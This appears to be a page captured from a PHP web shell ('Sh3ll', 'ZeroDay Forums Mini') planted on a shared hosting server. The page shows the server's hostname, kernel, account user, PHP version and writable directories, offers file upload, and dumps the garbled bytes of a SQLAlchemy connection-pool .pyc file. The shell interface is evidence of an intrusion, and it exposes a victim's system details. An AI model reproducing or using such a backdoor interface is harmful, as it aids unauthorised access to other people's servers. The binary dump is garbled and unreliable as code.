Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /opt/hc_python/lib64/python3.12/site-packages/sqlalchemy/pool/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/hc_python/lib64/python3.12/site-packages/sqlalchemy/pool/__pycache__/impl.cpython-312.pyc
�

���gJ����dZddlmZddlZddlZddlZddlmZddlmZddlmZddlm	Z	ddlm
Z
dd	lmZdd
lmZddlm
Z
ddlZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZejrddl m!Z!Gd�de�Z"Gd�de"�Z#Gd �d!e#�Z$Gd"�d#e�Z%Gd$�d%e�Z&Gd&�d'e�Z'Gd(�d)e�Z(y)*zPool implementation classes.

�)�annotationsN)�Any)�cast)�List)�Optional)�Set)�Type)�
TYPE_CHECKING)�Union�)�_AsyncConnDialect)�_ConnectionFairy��_ConnectionRecord)�_CreatorFnType)�_CreatorWRecFnType)�ConnectionPoolEntry)�Pool)�PoolProxiedConnection�)�exc)�util)�chop_traceback)�queue)�Literal)�DBAPIConnectionc���eZdZUdZdZejZded<ded<				d											dd�Z	dd�Z
dd	�Zdd
�Zdd�Z
dd�Zdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zy) �	QueuePoolaOA :class:`_pool.Pool`
    that imposes a limit on the number of open connections.

    :class:`.QueuePool` is the default pooling implementation used for
    all :class:`_engine.Engine` objects other than SQLite with a ``:memory:``
    database.

    The :class:`.QueuePool` class **is not compatible** with asyncio and
    :func:`_asyncio.create_async_engine`.  The
    :class:`.AsyncAdaptedQueuePool` class is used automatically when
    using :func:`_asyncio.create_async_engine`, if no other kind of pool
    is specified.

    .. seealso::

        :class:`.AsyncAdaptedQueuePool`

    F�1Type[sqla_queue.QueueCommon[ConnectionPoolEntry]]�_queue_classz+sqla_queue.QueueCommon[ConnectionPoolEntry]�_poolc���tj||fi|��|j||��|_d|z
|_|dk(rdn||_||_tj�|_	y)a�	
        Construct a QueuePool.

        :param creator: a callable function that returns a DB-API
          connection object, same as that of :paramref:`_pool.Pool.creator`.

        :param pool_size: The size of the pool to be maintained,
          defaults to 5. This is the largest number of connections that
          will be kept persistently in the pool. Note that the pool
          begins with no connections; once this number of connections
          is requested, that number of connections will remain.
          ``pool_size`` can be set to 0 to indicate no size limit; to
          disable pooling, use a :class:`~sqlalchemy.pool.NullPool`
          instead.

        :param max_overflow: The maximum overflow size of the
          pool. When the number of checked-out connections reaches the
          size set in pool_size, additional connections will be
          returned up to this limit. When those additional connections
          are returned to the pool, they are disconnected and
          discarded. It follows then that the total number of
          simultaneous connections the pool will allow is pool_size +
          `max_overflow`, and the total number of "sleeping"
          connections the pool will allow is pool_size. `max_overflow`
          can be set to -1 to indicate no overflow limit; no limit
          will be placed on the total number of concurrent
          connections. Defaults to 10.

        :param timeout: The number of seconds to wait before giving up
          on returning a connection. Defaults to 30.0. This can be a float
          but is subject to the limitations of Python time functions which
          may not be reliable in the tens of milliseconds.

        :param use_lifo: use LIFO (last-in-first-out) when retrieving
          connections instead of FIFO (first-in-first-out). Using LIFO, a
          server-side timeout scheme can reduce the number of connections used
          during non-peak periods of use.   When planning for server-side
          timeouts, ensure that a recycle or pre-ping strategy is in use to
          gracefully handle stale connections.

          .. versionadded:: 1.3

          .. seealso::

            :ref:`pool_use_lifo`

            :ref:`pool_disconnects`

        :param \**kw: Other keyword arguments including
          :paramref:`_pool.Pool.recycle`, :paramref:`_pool.Pool.echo`,
          :paramref:`_pool.Pool.reset_on_return` and others are passed to the
          :class:`_pool.Pool` constructor.

        )�use_lifor���N)
r�__init__r r!�	_overflow�
_max_overflow�_timeout�	threading�Lock�_overflow_lock)�self�creator�	pool_size�max_overflow�timeoutr#�kws       �E/opt/hc_python/lib64/python3.12/site-packages/sqlalchemy/pool/impl.pyr%zQueuePool.__init__Is`��@	
�
�
�d�G�*�r�*��&�&�y�8�&�D��
��Y����#,��>�R�|�����
�'�n�n�.���c���	|jj|d�y#tj$r9	|j	�|j�Yy#|j�wxYwwxYw�NF)r!�put�
sqla_queue�Full�close�
_dec_overflow�r,�records  r2�_do_return_connzQueuePool._do_return_conn�sS��	%��J�J�N�N�6�5�)�����	%�
%������"�"�$���"�"�$��		%�s ��A+�A�A+�A'�'A+c��|jdkD}|xr|j|jk\}	|jj||j�S#t
j$rYnwxYw|rn|j|jk\rU|s|j�Stjd|j�|j�|jfzd���|j�rP	|j�S#tj�5|j!�ddd��#1swY�xYwxYw|j�S)Nr$zSQueuePool limit of size %d overflow %d reached, connection timed out, timeout %0.2f�3o7r)�code)r'r&r!�getr(r7�Empty�_do_getr�TimeoutError�size�overflow�
_inc_overflow�_create_connectionr�safe_reraiser:)r,�use_overflow�waits   r2rCzQueuePool._do_get�s"���)�)�B�.���D����$�2D�2D� D��	��:�:�>�>�$��
�
�6�6�����	�
�		��
�D�N�N�d�.@�.@�@���|�|�~�%��&�&�:��y�y�{�D�M�M�O�T�]�]�C�D� �	������
��.�.�0�0��
��&�&�(��&�&�(�)��)����<�<�>�!s5�%A�A*�)A*�.C>�>D:�D.�%	D:�.D7	�3D:c��|jdk(r|xjdz
c_y|j5|j|jkr|xjdz
c_	ddd�y	ddd�y#1swYyxYw)Nr$rTF�r'r&r+�r,s r2rGzQueuePool._inc_overflow�sf������#��N�N�a��N��
�
 �
 ��~�~�� 2� 2�2����!�#���!�
 �
�!�
 �
 �s�0A5�+A5�5A>c��|jdk(r|xjdzc_y|j5|xjdzc_	ddd�y#1swYyxYw)Nr$rTrMrNs r2r:zQueuePool._dec_overflow�sG������#��N�N�a��N��
�
 �
 ��N�N�a��N��!�
 �
 �s�A�Ac��|jjd�|j|j|jj
|j|j|jj|j|j|j|j|j|j|j��S)N�Pool recreating)r.r/�pre_pingr#r0�recycle�echo�logging_name�reset_on_return�	_dispatch�dialect)�logger�info�	__class__�_creatorr!�maxsizer'�	_pre_pingr#r(�_recyclerT�_orig_logging_name�_reset_on_return�dispatch�_dialectrNs r2�recreatezQueuePool.recreate�s��������*�+��~�~��M�M��j�j�(�(��+�+��^�^��Z�Z�(�(��M�M��M�M�����0�0� �1�1��m�m��M�M��

�
	
r3c��		|jjd�}|j��-#tj$rYnwxYwd|j�z
|_|jjd|j��y)NFrzPool disposed. %s)
r!rAr9r7rBrEr&rYrZ�status�r,�conns  r2�disposezQueuePool.dispose�sr���
��z�z�~�~�e�,���
�
�����#�#�
��
���T�Y�Y�[���������,�d�k�k�m�<s�+/�A�Ac��d|j�|j�|j�|j�fzS)Nz_Pool size: %d  Connections in pool: %d Current Overflow: %d Current Checked out connections: %d)rE�	checkedinrF�
checkedoutrNs r2rfzQueuePool.status�s>��
��	�	����� ��
�
�����!�	�
�
	
r3c�.�|jjS�N)r!r]rNs r2rEzQueuePool.size�s���z�z�!�!�!r3c��|jSrn)r(rNs r2r0zQueuePool.timeout�s���}�}�r3c�6�|jj�Srn)r!�qsizerNs r2rkzQueuePool.checkedin�s���z�z���!�!r3c�J�|jjr|jSdS)Nr)r!r]r&rNs r2rFzQueuePool.overflow�s��!%���!3�!3�t�~�~�:��:r3c�~�|jj|jj�z
|jzSrn)r!r]rqr&rNs r2rlzQueuePool.checkedouts-���z�z�!�!�D�J�J�$4�$4�$6�6����G�Gr3N)��
g>@F)r-�)Union[_CreatorFnType, _CreatorWRecFnType]r.�intr/rwr0�floatr#�boolr1r�r<r�return�None�r{r)r{ry)r{z
Literal[True])r{r�r{r|�r{�str)r{rw)r{rx)�__name__�
__module__�__qualname__�__doc__�_is_asyncior7�Queuer �__annotations__r%r=rCrGr:rdrirfrEr0rkrFrl�r3r2rr-s����&�K�	����C��7�6�
����
E/�:�E/��E/��	E/�
�E/��
E/��E/�N%�"�@	��
�"	=�
�"��"�;�Hr3rc�F�eZdZUdZdZejZded<e	�Z
y)�AsyncAdaptedQueuePoola�An asyncio-compatible version of :class:`.QueuePool`.

    This pool is used by default when using :class:`.AsyncEngine` engines that
    were generated from :func:`_asyncio.create_async_engine`.   It uses an
    asyncio-compatible queue implementation that does not use
    ``threading.Lock``.

    The arguments and operation of :class:`.AsyncAdaptedQueuePool` are
    otherwise identical to that of :class:`.QueuePool`.

    Trr N)r�r�r�r�r�r7�AsyncAdaptedQueuer r�r
rcr�r3r2r�r�s.��
��K��$�$��C��!�"�Hr3r�c�$�eZdZejZy)�FallbackAsyncAdaptedQueuePoolN)r�r�r�r7�FallbackAsyncAdaptedQueuer r�r3r2r�r�s
���7�7�Lr3r�c�8�eZdZdZdd�Zd	d�Zd
d�Zdd�Zdd�Zy)
�NullPoola�A Pool which does not pool connections.

    Instead it literally opens and closes the underlying DB-API connection
    per each connection open/close.

    Reconnect-related functions such as ``recycle`` and connection
    invalidation are not supported by this Pool implementation, since
    no connections are held persistently.

    The :class:`.NullPool` class **is compatible** with asyncio and
    :func:`_asyncio.create_async_engine`.

    c��y)Nr�r�rNs r2rfzNullPool.status-s��r3c�$�|j�yrn)r9r;s  r2r=zNullPool._do_return_conn0s�����r3c�"�|j�Srn)rHrNs r2rCzNullPool._do_get3s���&�&�(�(r3c
�
�|jjd�|j|j|j|j
|j|j|j|j|j��S)NrQ)rSrTrUrVrRrWrX)rYrZr[r\r_rTr`rar^rbrcrNs r2rdzNullPool.recreate6sg�������*�+��~�~��M�M��M�M�����0�0� �1�1��^�^��m�m��M�M��	
�		
r3c��yrnr�rNs r2rizNullPool.disposeD���r3Nrrzr})r{r�r~)	r�r�r�r�rfr=rCrdrir�r3r2r�r�s �����)�
�
r3r�c�b�eZdZdZdZ	d					d
d�Zdd�Zdd�Zdd�Zdd�Z	dd�Z
dd	�Zdd
�Zy)�SingletonThreadPoola'A Pool that maintains one connection per thread.

    Maintains one connection per each thread, never moving a connection to a
    thread other than the one which it was created in.

    .. warning::  the :class:`.SingletonThreadPool` will call ``.close()``
       on arbitrary connections that exist beyond the size setting of
       ``pool_size``, e.g. if more unique **thread identities**
       than what ``pool_size`` states are used.   This cleanup is
       non-deterministic and not sensitive to whether or not the connections
       linked to those thread identities are currently in use.

       :class:`.SingletonThreadPool` may be improved in a future release,
       however in its current status it is generally used only for test
       scenarios using a SQLite ``:memory:`` database and is not recommended
       for production use.

    The :class:`.SingletonThreadPool` class **is not compatible** with asyncio
    and :func:`_asyncio.create_async_engine`.


    Options are the same as those of :class:`_pool.Pool`, as well as:

    :param pool_size: The number of threads in which to maintain connections
        at once.  Defaults to five.

    :class:`.SingletonThreadPool` is used by the SQLite dialect
    automatically when a memory-based database is used.
    See :ref:`sqlite_toplevel`.

    Fc���tj||fi|��tj�|_tj�|_t
�|_||_yrn)	rr%r)�local�_conn�_fairy�set�
_all_connsrE)r,r-r.r1s    r2r%zSingletonThreadPool.__init__ksC��	
�
�
�d�G�*�r�*��_�_�&��
��o�o�'���47�E�����	r3c� �|jjd�|j|j|j|j
|j|j|j|j|j|j��	S)NrQ)r.rSrTrRrUrVrWrX)rYrZr[r\rEr_rTr^r`rarbrcrNs r2rdzSingletonThreadPool.recreatewsn�������*�+��~�~��M�M��i�i��M�M�����^�^��0�0� �1�1��m�m��M�M��

�
	
r3c��|jD]}	|j��|jj�y#t$rY�<wxYw)zDispose of this pool.N)r�r9�	Exception�clearrgs  r2rizSingletonThreadPool.dispose�sH���O�O�D�
��
�
��$�	
��������
��
�s�>�	A
�	A
c���t|j�|jk\rN|jj�}|j	�t|j�|jk\r�Myyrn)�lenr�rE�popr9�r,�cs  r2�_cleanupzSingletonThreadPool._cleanup�sI���$�/�/�"�d�i�i�/����#�#�%�A�
�G�G�I��$�/�/�"�d�i�i�/r3c�H�dt|�t|j�fzS)Nz"SingletonThreadPool id:%d size: %d)�idr�r�rNs r2rfzSingletonThreadPool.status�s'��3��t�H����� �7
�
�	
r3c�<�	|j`y#t$rYywxYwrn)r��current�AttributeErrorr;s  r2r=z#SingletonThreadPool._do_return_conn�s#��	����#���	��	�s��	�c���	tr)tt|jj	��}n|jj	�}|r|S	|j
�}tj|�|j_t|j�|jk\r|j�|jj|�|S#t
$rY��wxYwrn)r
rrr�r�r�rH�weakref�refr�r�rEr��addr�s  r2rCzSingletonThreadPool._do_get�s���	���,�d�j�j�.@�.@�.B�C���J�J�&�&�(������
�#�#�%��$�[�[��^��
�
���t����4�9�9�,��M�M�O������A������	��	�s�AC�	C�Cc���	tt|jj��}|�|j	�Stj||j�S#t
$rY�+wxYwrn)rrr�r��_checkout_existingr��	_checkout�r,�recs  r2�connectzSingletonThreadPool.connect�sb��	0��'����)<�)<�)>�?�C����-�-�/�/��)�)�$����<�<��
�	��	�s�(A�	A(�'A(N)rt)r-rvr.rwr1r)r{r�r~rrzr})r{r)
r�r�r�r�r�r%rdrir�rfr=rCr�r�r3r2r�r�HsX���@�K�
�
�:�
��
��	
�
� ��

���"=r3r�c�n�eZdZdZej
dd��Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�Zdd	�Z
y
)�
StaticPoola~A Pool of exactly one connection, used for all requests.

    Reconnect-related functions such as ``recycle`` and connection
    invalidation (which is also used to support auto-reconnect) are only
    partially supported right now and may not yield good results.

    The :class:`.StaticPool` class **is compatible** with asyncio and
    :func:`_asyncio.create_async_engine`.

    c��t|�SrnrrNs r2�
connectionzStaticPool.connection�s
�� ��&�&r3c��y)Nr�r�rNs r2rfzStaticPool.status�s��r3c��d|jvr?|jj�(|jj�|jd=yyy�Nr�)�__dict__r��dbapi_connectionr9rNs r2rizStaticPool.dispose�sD���D�M�M�)����0�0�<��O�O�!�!�#��
�
�l�+�=�
*r3c
�
�|jjd�|j|j|j|j
|j|j|j|j|j��S)NrQ)r-rSrVrRrTrUrWrX)rYrZr[r\r_rar^rTr`rbrcrNs r2rdzStaticPool.recreate�sg�������*�+��~�~��M�M��M�M� �1�1��^�^�����0�0��m�m��M�M��	
�		
r3c� ��d�fd�}||_y)Nc�<���jj}|�J�|Srn)r�r�)r�rh�other_static_pools  �r2r-z*StaticPool._transfer_from.<locals>.creator�s%���$�/�/�@�@�D��#�#�#��Kr3)r�rr{r)�_invoke_creator)r,r�r-s ` r2�_transfer_fromzStaticPool._transfer_from�s���	�
 '��r3c��t��rn)�NotImplementedErrorrNs r2rHzStaticPool._create_connection�s��!�#�#r3c��yrnr�r;s  r2r=zStaticPool._do_return_conn�r�r3c�p�|j}|j�r|jd=|j}|Sr�)r��_is_hard_or_soft_invalidatedr�r�s  r2rCzStaticPool._do_get�s1���o�o���+�+�-��
�
�l�+��/�/�C��
r3N)r{rrr~)r{r�)r�r�r{r|r}rz)r�r�r�r�r�memoized_propertyr�rfrirdr�rHr=rCr�r3r2r�r��sD��	�
���'��'��,�
�'�$�
�r3r�c�V�eZdZUdZded<ded<d
d�Zdd�Zdd�Zdd	�Zdd
�Z	dd�Z
y)�
AssertionPoola}A :class:`_pool.Pool` that allows at most one checked out connection at
    any given time.

    This will raise an exception if more than one connection is checked out
    at a time.  Useful for debugging code that is using more connections
    than desired.

    The :class:`.AssertionPool` class **is compatible** with asyncio and
    :func:`_asyncio.create_async_engine`.

    zOptional[ConnectionPoolEntry]r�zOptional[List[str]]�_checkout_tracebackc��d|_d|_|jdd�|_d|_tj|g|��i|��y)NF�store_tracebackT)r��_checked_outr��_store_tracebackr�rr%)r,�argsr1s   r2r%zAssertionPool.__init__sC����
�!��� "���'8�$� ?���#'�� ��
�
�d�(�T�(�R�(r3c��y)Nr�r�rNs r2rfzAssertionPool.statuss��r3c�`�|jstd��d|_||jusJ�y)Nzconnection is not checked outF)r��AssertionErrorr�r;s  r2r=zAssertionPool._do_return_conns1��� � � �!@�A�A�!�������#�#�#r3c�`�d|_|jr|jj�yyr5)r�r�r9rNs r2rizAssertionPool.dispose#s&��!����:�:��J�J����r3c
�
�|jjd�|j|j|j|j
|j|j|j|j|j��S)NrQ)rTrRrSrVrUrWrX)rYrZr[r\rTr^r_rar`rbrcrNs r2rdzAssertionPool.recreate(sg�������*�+��~�~��M�M�����^�^��M�M� �1�1��0�0��m�m��M�M��	
�		
r3c�T�|jrD|jr(ddjt|j��z}nd}t	d|z��|j
s|j
�|_d|_|jrtj�|_|j
S)Nz at:
%s�z!connection is already checked outT)
r�r��joinrr�r�rHr��	traceback�format_stack)r,�suffixs  r2rCzAssertionPool._do_get5s�������'�'�#�b�g�g�"�4�#;�#;�<�'����� �!D�v�!M�N�N��z�z��0�0�2�D�J� ���� � �'0�'=�'=�'?�D�$��z�z�r3N)r�rr1rrrzr~)r{r�r})r�r�r�r�r�r%rfr=rirdrCr�r3r2r�r�s3��
�)�(�,�,�)��$��

�r3r�))r��
__future__rr)r��typingrrrrrr	r
rr��baser
rrrrrrrr�rrrrr7�util.typingr�engine.interfacesrrr�r�r�r�r�r�r�r3r2�<module>r�s����#���
������� ���#�"�#� �$�%��'���!�&�!�	���3�UH��UH�p#�I�#�*8�$9�8�'
�t�'
�Tw=�$�w=�t>��>�BB�D�Br3

ZeroDay Forums Mini